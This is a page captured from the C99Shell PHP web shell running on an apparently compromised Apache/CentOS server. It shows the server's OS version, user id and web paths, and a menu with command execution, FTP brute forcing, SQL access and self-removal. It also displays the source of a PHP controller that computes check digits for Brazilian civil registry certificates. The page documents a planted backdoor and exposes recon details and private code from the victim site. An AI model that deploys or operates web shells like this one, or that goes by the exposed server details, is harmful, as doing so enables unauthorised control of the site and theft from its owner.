!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.25 GB of 93.48 GB (9.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CertidaoCtrl.php (2.4 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once(APP_PATH."/system/ServiceDB.php");

class 
CertidaoCtrl {
    
    var 
$db;
    

    
/**
     * Construtor principal
     * Inicia a classe principal de controle informando o Modelo Atual
     */
    
public function __construct() {
        
$this->db = new ServiceDB();
        
$this->db->connect();
    }
    
    
    
    function 
calculoDigito($dados) {
        if (
strlen($dados) == 30) {
            
$acumulado     0;
            
$multiplicador 1;
            
$posicao       29;
            while (
$posicao >= 0) {
                
$ch $dados[$posicao];
                
$multiplicador++;
                
$acumulado += ($multiplicador intval($ch));
                
$posicao--;
            }
            
$acumulado $acumulado 10;
            
$aux intval($acumulado 11);
            
$dv1 $acumulado $aux 11;
            if (
$dv1 == 10){
                
$dv1 1;
            }
            
$dados.= $dv1;

            
//Segundo dígito
            
$acumulado     0;
            
$multiplicador 1;
            
$posicao       30;
            while (
$posicao >= 0) {
                
$ch $dados[$posicao];
                
$multiplicador++;
                
$acumulado += ($multiplicador intval($ch));
                
$posicao--;
            }
            
$acumulado $acumulado 10;
            
$aux intval($acumulado 11);
            
$dv2 $acumulado $aux 11;
            if (
$dv2 == 10){
                
$dv2 1;
            }
            
$result $dv1 10 $dv2;
        }
        else{
            
$result = -1;
        }
        return 
$result;
    }
    
    
/**
     * Retorna o livro
     * @param type $identificador
     * @param string $livro
     * @return string
     */
    
function getLivro($identificador$livro) {
        switch(
$identificador) {
            case 
"01":
                
$letraLivro "A";
                break;
            case 
"02":
                
$letraLivro "B";
                break;
            case 
"03":
                
$letraLivro "BA";
                break;
            case 
"04":
                
$letraLivro "C";
                break;
            case 
"05":
                
$letraLivro "CA";
                break;
            case 
"07":
                
$letraLivro "E";
                break;
        }
        
$livro $letraLivro "-" $livro;
        return 
$livro;
    }
    
    
/**
     * Retorna o tipo de certidão
     * @param type $identificador
     * @return string
     */
    
function getTipo($identificador) {
        switch(
$identificador) {
            case 
1:
                
$tipo 'Nascimento';
                break;
            case 
2:
                
$tipo 'Casamento Civil';
                break;
            case 
3:
                
$tipo 'Casamento Religioso';
                break;
            case 
4:
                
$tipo 'Óbito';
                break;
            case 
5:
                
$tipo 'Natimorto';
                break;
            case 
7:
                
$tipo 'Livro E';
                break;
        }
        return 
$tipo;
    }

    
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--